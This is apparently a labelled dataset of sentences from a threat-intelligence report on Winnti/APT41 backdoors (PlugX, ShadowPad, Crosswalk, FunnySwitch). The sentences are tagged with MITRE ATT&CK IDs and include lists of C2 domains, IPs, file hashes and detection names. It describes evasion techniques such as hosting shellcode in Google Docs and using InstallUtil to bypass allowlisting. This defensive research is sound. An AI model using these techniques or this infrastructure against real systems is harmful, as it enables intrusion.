{"sentence": "UDP://cigy2jft92.kasprsky.info:53 SOCKS4 SOCKS4 SOCKS5 SOCKS5 They include the likely data of module assembly (June 6, 2020), name of the service used by the malware to gain persistence on the system (WMNetworkSvc), names of processes into which shellcode can be injected, and the C2 domain cigy2jft92.kasprsky[.]info.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "As we wrote earlier, the other domain kasprsky[.]info has been used by attackers as a FunnySwitch C2 server.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Investigation of subdomains and IP addresses yields another second-level domain, livehost[.]live, whose subdomain d89o0gm35t.livehost[.]live is indicated as a C2 server in one copy of Crosswalk (86100e3efa14a6805a33b2ed24234ac73e094c84cf4282426192607fb8810961).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Moreover, all samples of these backdoors were signed with the stolen Zealot Digital certificate and were likely used together as part of a single campaign.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "This is not the only example of a connection between the Crosswalk and ShadowPad network infrastructures.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Two Crosswalk C2 servers we found, 103.248.21[.]134 and 103.248.21[.]179, contained an SSL certificate with SHA-1 value of b1d749a8883ac9860c45986e2ffe370feb3d9ab6.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The same certificate was noted at IP address 103.4.29[.]167, which via the domain update.ilastname[.]com was used as a C2 server for another copy of ShadowPad (37be65842e3fc72a5ceccdc3d7784a96d3ca6c693d84ed99501f303637f9301a).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 54.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Fragment of ShadowPad and PlugX infrastructure7.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "PlugX The SSL certificate pointed us to another C2 server, with the domain ns.mircosoftbox[.]com.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "We found that this C2 server is used by an interesting copy of the PlugX backdoor.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Its core is typical of PlugX, being an SFX archive (ccdb8e0162796efe19128c0bac78478fd1ff2dc3382aed0c19b0f4bd99a31efc) that contains the library mapistub.dll, which loads as a legitimate executable.", "labels": ["T1027", "T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 55.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "PlugX SFX archiveBut mapistub.dll is only a downloader.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Google Docs is used to store the payload: the library sends a request to export a certain document in .txt format, decodes it into shellcode with Base64, and runs it. Figure 56.", "labels": ["T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Loading and running shellcode in mapistub.dllThe shellcode has been obfuscated with junk instructions and inverted conditional jumps (combinations of jle/jg and the like).", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Its job is to decrypt and run the next stage, which is responsible for reflective loading of the main PlugX component and passing the structure with the configuration to it.", "labels": ["T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 57.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Obfuscated shellcode from Google DocsThis process and what the similar sample does after that are described in more detail in a report from Dr.Web (QuickHeal shellcode and BackDoor.PlugX.28).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Besides the C2 servers in the configuration file, 103.79.76[.]205 and ns.mircosoftbox[.]com, in our case the attackers also used a technique typical of PlugX for getting a C2 server at a specified URL.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The C2 address is encoded in the page body between the DZKS and DZJS markers.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Again, the address of a Google Docs document is used as the URL.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 58.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Document with encoded", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "URLNote that the document is editable without logging in.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "But when we accessed it for the first time, it had the IP address 107.174.45[.]134, which is related to the domain dc-d68d34331440.mircosoftbox[.]com and, apparently, had been put in place by the attackers.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "A similar technique has been used by Winnti in the past: according to Trend Micro, an encoded C2 address was stored in GitHub repositories in 2017.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "7.1 Paranoid PlugX We were able to detect an additional copy of PlugX that contained shellcode fully identical to that downloaded from Google Docs, except for the encrypted configuration.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "It, too, is an SFX archive (94ea23e7f53cb9111dd61fe1a1cbb79b8bbabd2d37ed6bfa67ba2a437cfd5e92) but with different files inside.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 59.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Contents of the SFX archiveWhen unpacked, the archive runs the script 1.vbs, which in turn passes control to a.bat. Figure 60.", "labels": ["T1027", "T1059.003"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Contents of a.batThe main payload is in the file image.jpg, which is actually a specially crafted .NET assembly.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The assembly launches with the help of InstallUtil.exe from .NET Framework, enabling it to bypass application allowlist restrictions.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 61.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Running shellcode in image.jpgThe purpose of image.jpg is to run the same PlugX shellcode with the help of CreateThread.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Its configuration contains two C2 servers: update.upgradsource[.]com and ns.upgradsource[.]com.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The domain upgradsource[.]com is mentioned in a Unit42 report on a group of similar samples named \"Paranoid PlugX.\" They received this name due to the presence of a script for wiping traces of malware from the system.", "labels": ["T1070.004"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Comparing the sample we found to those described in that report, we conclude with strong confidence that it belongs to the same group.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Among other reasons, the structure of the .NET Wrapper module in image.jpg, and much of the cleanup script a.bat, is nearly identical.", "labels": ["T1059.003"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "According to Unit42, the main targets of Paranoid PlugX attacks were gaming companies—which are known to be a typical area of interest for Winnti.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Investigation of the network infrastructure provides yet another piece of confirmation of the relationship between Paranoid PlugX and Winnti.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "As of late 2017, update.upgradsource[.]com resolved to the IP address 121.170.185[.]183.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Later, update.byeserver[.]com and update.serverbye[.]com resolved to this address as well.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The second-level domains byeserver[.]com and serverbye[.]com, in turn, are listed by FireEye in its report on APT41. 8.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Conclusion Winnti has an extensive arsenal of malware, as can be seen from the group's attacks.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Winnti uses both widely available tools (Metasploit, Cobalt Strike, PlugX) and custom-developed ones, which are constantly increasing in number.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "By May 2020, the group had started to use its new backdoor, FunnySwitch, which possess unusual message relay functionality.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "One distinguishing trait of the group's backdoors is support for multiple transport protocols for connecting to C2 servers, which complicates efforts to detect malicious traffic.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Malicious files of varying resemblance are used to install the payload, from primitive RAR and SFX-RAR files to reuse of malware from other groups and multistage threats with vulnerability exploits and non-trivial shellcode loaders.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "But the payload may be one and the same in all these cases.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Most likely, the choice is dictated by the precision (or lack thereof) of an attack: unique infection chains and highly attractive bait are held back for targeted attacks.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Winnti continues to pursue game developers and publishers in Russia and elsewhere.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Small studios tend to neglect information security, making them a tempting target.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Attacks on software developers are especially dangerous for the risk they pose to end users, as already happened in the well-known cases of CCleaner and ASUS.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "By ensuring timely detection and investigation of breaches, companies can avoid becoming victims of such a scenario.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "9.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "PT products detection names 9.1 PT Sandbox Trojan-Dropper.Win32.Higaisa.a Backdoor.Win32.CobaltStrike.a Trojan-Dropper.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Win32.Winnti.a Trojan-Dropper.Win32.Winnti.b Trojan-Dropper.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Win32.Shadowpad.a Backdoor.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Win32.Shadowpad.c Backdoor.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Win32.FunnySwitch.a REMOTE", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "[PTsecurity] Crosswalk sid: 10006001;10006002;10006003;10006004;", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "SHELL [PTsecurity] Metasploit/Meterpreter sid: 10003751;10003753;10003754;10003755;10006172;10002588;", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "REMOTE [PTsecurity] Cobalt Strike Beacon Observed sid: 10000748;10005757;", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "REMOTE", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "[PTsecurity] Cobalt Strike (jquery profile) sid:10005754; REMOTE", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "[PTsecurity] FunnySwitch sid: 11004815;1004814;11004813;11004812; SPYWARE", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "[PTsecurity] ShadowPad sid: 10005851;10005852;10005854;", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "[PTsecurity] PlugX sid: 10001390;10001391;10002946;10004422;10004426;10004472;10004473;10004515;10004532;10005968; 10.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Applications 10.1 Known names of files from which PL shellcode may be loaded C_99401.NLS DriverStatics.ax DrtmAuth005.bin DrtmAuth13.bin FINTCACHE.DAT SEService.dat Theme.re WspTst.xsl cbdhsvcs.bin chrome_proxy.dll config.ini localsvc.ax log.txt msdsm.tlb normnfa.nls normnfw.nls services.bin soundsvc.sys storesync.dat storesyncsvc.ini svchosl.bin svchost.bin wbemcomn64.sys wbemcomna.dat winness.exe.config winupdate.txt 10.2 IOCs File indicators LNK file attacks 1074654a3f3df73f6e0fd0ad81597c662b75c273c92dc75c5a6bea81f093ef81 9b638f77634f535e52527d43ad850133788bfb0c c657e04141252e39b9fa75489f6320f5 0deb252a5048c3371358618750813e947458c77e651c729b9d51363f3d16b583 f50b624ba6eb9d3947f22cf7f95a6f70b7c463d3 a140420e12b68c872fe687967ac5ddbe 8e6945ae06dd849b9db0c2983bca82de1dddbf79afb371aa88da71c19c44c996 5b8e644acc097f7123172d96a3a45bd398661064 93ffd591948223e806c248861735e006 c0a0266f6df7f1235aeb4aad554e505320560967248c9c5cce7409fc77b56bd5 d500cec0ce5358751f3371b69a4a9bc402df8af4 45278d4ad4e0f4a891ec99283df153c3 bcfff6c0d72a8041a37fe3cc5c0233ac4ef8c3b7c3c6bca70d2fcfaed4c5325e 1a33f41d054a2ed2d395b19852583daddd056bb4 177e37ec8d07d6954b2102760c74708a 35a1ff5b9ad3f46222861818e3bb8a2323e20605d15d4fe395e1d16f48189530 0a462e8e3b153e249507b1652d9f6180463e7027 17548fb49ef598901ab83b7c630fbe9a beaa2c8dcf9fbf70358a8cf71b2acee95146dba79ba37943a939a2145b83b32e acf5f997a16937072a2a72f1ba7704f9703ea27c e5809996b6126a5573623a9010eb4ee2 dca8fcb7879cf4718de0ee61a88425fca9dfa9883be187bae3534076f835a54d db6333f84538a21466e5ffe3c7102e0543cec167 d53daa634260ed28fc2e8610ecf15ad3 4733d1204b06dc95178e83834af61934a423534e1d4edd402b37e226f0f2727f dba010496a7be2e5de1f923ffdfc19bf345b650b 9776f04d9c254a0b67f4dc000369a17c dcd2531aa89a99f009a740eab43d2aa2b8c1ed7c8d7e755405039f3a235e23a6 281c1b196cd992906d8583e64011dc28d9c52e3c 4a4a223893c67b9d34392670002d58d7 d4df4b58ee241e276ea03235445c04d1a28e48ec8b6e2599a56f6c4b8af3269b 7b6b01e9f726ab0b5f94cd68687d4787008cd7f5 4dcd2e0287e0292a1ad71cbfdf99726e d064f675765f54ee80392fcfb5d136cd2407d06d0ea8cd7d8632d1a2b24c0439 8b8b1219581555f2d9747b289d57c3e0e274fd07 260eae2912475e51d82534b467e5746b 32705d3d9f7058e688b471e896dce505b3c6543218be28bbac85f6abbc09b791 289b5017f5ee8c915f755b1c7eefffbfb3d2d799 28bfed8776c0787e9da3a2004c12b09a c613487a5fc65b3b4ca855980e33dd327b3f37a61ce0809518ba98b454ebf68b 0f1f2431ecccb980f7d93b9af52139d0d508510f 997ab0b59d865c4bd63cc55b5e9c8b48 4e5e3762c850536aac6add3a5ac66f54cbd15c37bd8fc72d3ade9dd5e17f420b 21a5bcd916bc61585cfe1d5656240237e24157b9 07254dbd369ba10a1f28ae707ba72dcf 2d182910dade1237f1dd398d1e7af0d6eca3a74a6614089a3af671486420fb2b 0261490fb7f88cc3e9db6aa3fd185d03d7646864 f6886709564630fbb48121d0ccc7c0a6 Shellcode injectors Payload: Crosswalk 0046df35f66a3b076d9206412be2f1f7ea4641d96574e7b58578c0c0995d1feb b73fcfc423d1bdb4649440689ff4894639b3bd0e 9697d60b744a14b3003559d17cfc2f8f 325430384d642ab2a902fb0e268e85808b6cbf87506ccdc314e116e7d1b8239e 0f2a5bbe03c5b3422609b78ca90fb7f06bfd966b eee464e5ded3f4e37d49c8a91b1eb157 9e27f110fc824d8b85855538c3320e8ea436e82737d686fcecb512b6f872e172 4481c4b0cf2207099c7b5979a6e81a2923d6c698 254ace03b179c6565ac2616dd4d24f85 bec68bcaa80bb00274ef7066ddc8de1b289fb5f8b8e8573f3a961664f41da9d7 cc24843afd627ced74a1d713328078a23db81e54 914151fa49be06ab570bb0db77ce6960 3454d87b2ce0eab44c07774c7b56318710f9a63626d6d2aaf898922178bf2792 e6cd7a9f5b421b80b50e5809c35732c427c6b6d8 fbfeecea5a8c752c9bffdf6b9f7fcf50 1e29e07b404836c82cd9b75e44a3169195a335dc494ba27f744f6605666c26aa a1e0ce3c384945fdde841d91d069505879587217 d19c5c55733244f4a8d5a1af4e6c1250 3a9bbf4ee872904e729466aa50d570b43451b0945a41b5d9d114f8c24683c21e 5d1bada317d596f3dec5b86e4e42639b2f5f71ac 6d967f275beb3855980a80d60ef8023c faca607b43551044fda3c799ce7e9ce61004100544eeb196734972303f57f2ae 159a5ca55d7c62d0167740f8f5310e18e03a8fd3 4518f25c6307ef6d2ea5c0e66f2b16d1 86100e3efa14a6805a33b2ed24234ac73e094c84cf4282426192607fb8810961 604c5f42eeb015016b35ec1c9019812afc400f5b 7078450715c103056b01ad87787aaed6 Payload:", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Metasploit 0ad8ee3fe6d45626b28c0051c4c4f83358a03096ad06fc7135621293e95c75ae e8fcd7ca491bffc4838bf9eb6a7aec3f7e4acdc2 a752d48a4433eb2dd56c8946a345ac9e 75d573d1e788590195012a1965cfcaa911c566aee88331b7718ddc638028c175 ca66a779a5b720e5f73e91561bd3434db691e13b 2867ca5c273fbb128504a4e455e862a4 8c962ddbb515e73ecfc5df9db35a54c8c9d15713a04425298f2d89308e2a47bf ce1cb0050662e541e72a24c6a969fa7b51084a60 2555677876b50a03e42420838c1997f1 fb23c7fc2e5e8ae33942734c453961da9ed4659368d19180a8f1ecb3b9b8e853 d03a5b322f3748c9019ca24dd1943507d591165e 9a026082cb80cdba1a68ae1d14f79b9d 012d8d787c6e7a5f3dbe1e9cce7c5da166537a819221e210ef4d108f1a0a24b3 d913285f75a3a1a4f2a6e0f66bfda8efc71fc669 d8ff9eb5582371745ffe1636a89f97ce 420dc77afe28003f14dfe6c09fbf8194ead8a6e8222b6ab126e7ee9bf4b63fd4 ebafff5ff0517ea5c2c783ab7d0cffded468bf4f c024b658471a27ec5201f96f65f0b89a a02258fcb3694893b900f10f0f9bb1d0d522ed098b1cc8eab59f2f70209b3a0b 9bdd1af6fc74a8a3c2ff0e3bf1378ff290cdb35e bb4155a5add9446b6354d46a78edc8d5 f54cf6d9a5d77a89c4a2d47b02736d746764319e02ad224019db8de78842334a 8413380c19f348ef08051b2d6d8b39598bb05f68 cdddd08982ca2dd76a63cbf603956f1a Self-contained PL shellcode loaders Payload: Crosswalk 5841a4302fcbd63f66fc2afd41f8671744454aaa7e1ed834e935bfdb007a9a83 3d0b40b2a6fc691f702237ba5682335e7e74e649 a8bb1d69fb8a9d323bbc5d78f0e62850 e0b675302efc8c94e94b400a67bc627889bfdebb4f4dffdd68fdbc61d4cd03ae 4db6e492a9ef89e116f4da19f97d69cb82e08661 2dc960eb4691a148ece5ee2b24932f03 e398290469966aff01a9e138d45c4655790d7a641950e675785d0a2ab93e7d28 1e494e1cf8df105d95d0e0bb4879223030c48a0c 42a5908ff9b65d3b1a1a9f52ca6f06a5 8add31b6a2828e0d0a5b3ac225f6063f2c67c56036ff3f5099a9ee446459012a 5c11f70345d984391d041b604adfe5bfb5134755 5e3ef894b490d1c931a5f70d44789316 a4b2a737badef32831cbf05bfaa65b5121ddb41463177f4ac0dbc354b3b451d4 8c549d16dc97072f16e4a3114fbd7d47f8bc9726 1bc1df4b946e83f26c878f01145545a4 2fdef9d8896705f468f66eb8c20e5892d161c1d98ab5962aa231326546e25056 7b465b1e0d7be4d84e06a115fd55b97207de768c 221db0f664ea781b4dff81e0a354c63d Payload:", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Metasploit a7df8143a36638de40233b141919d767678b45bf5467e948a637eaafb2820550 be39c3022218ccb3abcfc6c906359b76571f4241 dc758b9ecca41f7f66808258efbfc6cf 283302c43466bdc6524a1e58a0ff9cc223ab8f540a1b0248d1fcffe81b87d5d6 b2bb31ea3b4abaf3f3edbff405e23f2ce442dfe0 3839d37a6a7a29a7af79f102e28b8bc2 b447a7bb633f682058d4b9df5caabbe8c794f087b80bf598d6741a255e925078 3c523a969cc4c273ae27fef32630701516b08873 63584677683b5fbf4f69053a8de9ecbe 01c8cc07a83ffd7ac9ee008685eb360c9934919e86847c50c8843807b9d9c196 37ec3d5be7b535a8a31001815ab275a489e302f5 d92db6b734b1db3874396506613a4962 21dd261e5fe46b86833cd69b299ae5ee5f24da3d4e87de509eddda4d2f63d591 11e86ee44e7c3592c97f7191746e170b62f724bb c8f1aff87d12e0e5c7082b8a565c4abb Payload:", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Cobalt Strike BEACON ba03feb351825029426e84c2f74e314f27b56714a082759650a455dfb1a946eb 8890155c88c690faaf900d1e63998756809273d0 cbccba5f774642c80aacfed20d20435b 06210a1f9bc48128e050df0884f9759e4d202bd103aa78e6b6eb3cec1a58cdb5 a0128edc037a91ce127291edd9d950e7661dd764 64071aaa193ab18722553bf6f573547b 0d6a5183b903b1013367b9a319f21a7a3b7798d9565a0deee52951f62a708227 2d35c342d8fc6f5d018937491e246da2ab293d43 b8b43c4c4207b180ec8be82ff066172a 1bd0f0fbd7df99c41e057f6d6c7107812ef1370609ad215a92227ca79ce6df70 7dcb0d7300aa54ef77eb3347e6204b31d4b9c6db 4922247f9b83341987e0b4e80f5c153f 29233eab65960c2da4962e343a3adab768673012d074db35ebc2abe2142ee73c 1d3dc9bb7acfe8416ac5ab51f24b6648b91eb305 cb682ec885f353bcc51ac350bc015783 79fbb45d0041933dce16325b87b969db12b7a8dedc918929615104835badc80f b13d58f1d24cf5e10a7013f4aeac22e974c74315 407990337eac6582533df5c85528817a 8f0538a18c944e2a98f1415d5528a0dab4367cd8689f598ab2da266c36403252 483c49349d29e11e0d195864e372a210ce5ce856 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fb0fdd18922977263f78becdedddab7a03c8de16a5431c7b4602e5be13110fa3 6e3d0537cd52965e52b06b984155191c41fe0a18 30684061b51971698984b531205429ca b45baac2ae9c5fdfbf56131451962826a95d56f641af8ca1b74738c2eb939a76 4f0402e2638831d6259a366cf605eadb8c7fd478 5fcf6562217dd1bb21003a9613739aff ff0527ea2f8545c86b8dfdef624362ed9e6c09d3f8589f873b1e08a895ef9635 ed8cc92b5a04620b01fcc4365e8f2ffe0c49eb30 f5b3106f2ff44bf860d077e77a1992e3 931ea6a2fc0d5b4c5c3cf2cba596a97eaa805981414c9cda4b26c8c47bf914df ebb08480d3d94d6d3a8d85894d297db996d57b4f b6953b1d1c78770a6d4b3e0c9d146d9b 568298593d406bd49de42688365fdc16f4a5841198583527a35f6a7d518a6b0e 425e6c8e89f45a8fe57a27d1eacdc850b2286099 bbeca57f7993a34e6296c8dedb996b76 ShadowPad 03b7b511716c074e9f6ef37318638337fd7449897be999505d4a3219572829b4 147529e1a8b00a62fa2371600988b17487260448 a26d2c6f7df4b74b56f9376a2d234661 5a151aa75fbfc144cb48595a86e7b0ae0ad18d2630192773ff688ae1f42989b7 ea43dbef69af12404549bc45fda756bfefcb3d88 493698b1d7acfbf57848b964b4b0ae97 3b70be53fd7421d77f14041046f7484862e63a33ec4b82590d032804b1565d0d ebcb044373550b787553a9b9cd297f4b8c330cd3 652c44a6b5d09bf4c749a4b4d1bae895 ae000f5cef11468dde774696423ca0186b46e55781a4232f22760a0bfbfb04f0 ee4744c4e74aa9933f3a5c340d9b739f8399b7f2 4001d217c9a77d5839fbc033937f7ed4 5f1a21940be9f78a5782879ad54600bd67bfcd4d32085db7a3e8a88292db26cc f6f6f352fa58d587c644953e4fd1552278827e14 52c28bdb6b1fc4d77b1ea58dc8c1c810 e93a9e59ee2c1a18cee75eedcbe968ed552d5c62ec6546c8a1c1f1ae2019844e 1a654b4191a3196353801d37a1de21535eb7a41c eb763c30f69c4f438be7545e2a1ca76c 1f64194a4e4babe3f176666ffd8ee0d76d856825c19bfcd783aec1bacb74fd05 801b756019c075ef6a20c8219157fe8f92deebc1 791f92ce878c8327337eb8e35675a715 531e54c055838f281d19fed674dbc339c13e21c71b6641c23d8333f6277f28c0 6966687463365f08cfb25fd2c47c6e9a27af22b0", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "4ad23aae3409c31d3d72e1d10e9d957d a1fa8cad75c5d999f1b0678fa611009572abf03dd5a836f8f2604108b503b6d2 c1af22e0d0585f6c6a2deab22a784717ee33f36d 882a60c3173e252469eb4731af3342bd 37be65842e3fc72a5ceccdc3d7784a96d3ca6c693d84ed99501f303637f9301a 05a2b848965d77fa154ca24fa438b8e5390c21f5 e542c6fabe80af604d31ef8eaaf94053 PlugX 94ea23e7f53cb9111dd61fe1a1cbb79b8bbabd2d37ed6bfa67ba2a437cfd5e92 14c1e3dd30ef1e22e6ebadd65fb883d3e0354d47 329ecc81b222a796f46859d16bd4813c ac5b4378a907949c4edd2b2ca7734173875527e9e8d5b6d69af5aea4b8ed3a69 2293a7510101ccfd83db4bd6429db2f9d406859a d55e9a302203c8800ca89b757b0588ed e54b7d31a8dd0fbab1fa81081e54b0b9b07634c13934adaf08b23d2b6a84b89a c40acafac6c1c3ba1d1cf5497bfaf5f682f9884a a7542a2dc4dd52bd4c9b08741dc32ad7 b59a37f408fcfb8b8e7e001e875629998a570f4a5f652bcbb533ab4d30f243f7 d1cf03da461f81822287465be5942931ac29737d d3ef032a67242789316e364f7e798ff4 ccdb8e0162796efe19128c0bac78478fd1ff2dc3382aed0c19b0f4bd99a31efc 22bac40e845ec6551396b77e6257f50634993883 7affcfb9857cc14dcc07fb8d226f03e0 4dad1e908604c2faa4ad9d9ef3dcebc3a163e97398d41e5e398788fe8da2305b 7cbaa1757bafa3a6be0793b959feac1ea73d88ff f749aa99a08fdc737f90813f174abb30 4a89a4d9fa22f42c6d3e51cf8dca0881e34763fe0448b783599bfc00984fd2ee bd31d8bad119b9da702889b44854b054f15e2f47 4489d5077c5d2396e3a94d652adae1ca 18a14cec1abcb9c02c1094271d89f428dec1896924a949ed760d38cd0dea7217 a2e88dfb93c23ba7cd38a820b2e64f14192079c2 8d6737d573ef70b47fd39a4c5a552e0f Network Indicators LNK file attacks www.comcleanner[.]info 45.76.6[.]149 http://zeplin.atwebpages[.]com/inter.php http://goodhk.azurewebsites[.]net/inter.php http://sixindent.epizy[.]com/inter.php Shellcode injectors 6q4qp9trwi.dnslookup[.]services d89o0gm34t.livehost[.]live d89o0gm35t.livehost[.]live 168.106.1[.]1 149.28.152[.]196 207.148.99[.]56 149.28.84[.]98 Shellcode loaders exchange.dumb1[.]com microsoftbooks.dynamic-dns[.]net microsoftdocs.dns05[.]com ns.microsoftdocs.dns05[.]com ns1.dns-dropbox[.]com ns2.dns-dropbox[.]com ns1.microsoftsonline[.]net ns2.microsoftsonline[.]net ns3.mlcrosoft[.]site onenote.dns05[.]com service.dns22[.]ml update.facebookdocs[.]com 104.224.169[.]214 107.182.24[.]70 107.182.24[.]70 149.248.8[.]134 149.28.23[.]32 176.122.162[.]149 45.76.75[.]219 66.42.103[.]222 66.42.107[.]133 66.42.48[.]186 66.98.126[.]203 FunnySwitch 7hln9yr3y6.symantecupd[.]com db311secsd.kasprsky[.]info doc.goog1eweb[.]com ShadowPad cigy2jft92.kasprsky[.]info update.ilastname[.]com PlugX ns.mircosoftbox[.]com ns.upgradsource[.]com update.upgradsource[.]com 103.79.76[.]205 107.174.45[.]134 10.3 MITRE ID Name Description Reconnaissance T1593.001 Search Open Websites/Domains: Social Media Winnti uses a Twitter account to get game-related information T1594 Search Victim-Owned Websites", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Winnti finds the site of a gaming company and uses information from it to create bait Resource Development T1583.001 Acquire Infrastructure: Domains Winnti purchases domain names that resemble those of legitimate services, including the victim's site T1583.006 Acquire Infrastructure: Web Services Winnti can use GitHub and Google Docs for C2 updates T1587.001 Develop Capabilities: Malware Winnti uses self-developed malware in its attacks T1587.003 Develop Capabilities: Digital Certificates Winnti creates self-signed certificates for use in HTTPS C2 traffic T1588.001 Obtain Capabilities: Malware Winnti uses PlugX in its attacks T1588.002 Obtain Capabilities: Tool Winnti uses Metasploit and Cobalt Strike in its attacks T1588.003 Obtain Capabilities: Code Signing Certificates Winnti steals code signing certificates from compromised organizations T1588.005 Obtain Capabilities: Exploits Winnti uses a public exploit for remote code execution (RCE) by means of a CHM file Initial Access T1566.001 Phishing:", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Spearphishing Attachment Winnti sends phishing messages with malicious attachments T1566.002", "labels": ["T1566.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Spearphishing Link Winnti sends phishing messages with malicious links Execution T1059.003 Command and Scripting Interpreter: Windows Command Shell Winnti uses cmd.exe and .bat files to run commands T1059.005 Command and Scripting Interpreter: Visual Basic Winnti uses VBS files to pass control to subsequent malware stages T1059.007 Command and Scripting Interpreter: JavaScript/JScript Winnti uses malicious JScript code in intermediate stages and for the payload T1203 Exploitation for Client Execution Winnti exploits RCE in a CHM file by means of an ActiveX object T1106 Native API Winnti uses various WinAPI functions to run malicious shellcode in the current process or to inject it into another process T1204.002 User Execution: Malicious File Winnti tries to make users run malicious .lnk, .chm, and .exe files Persistence T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Winnti persists by means of a 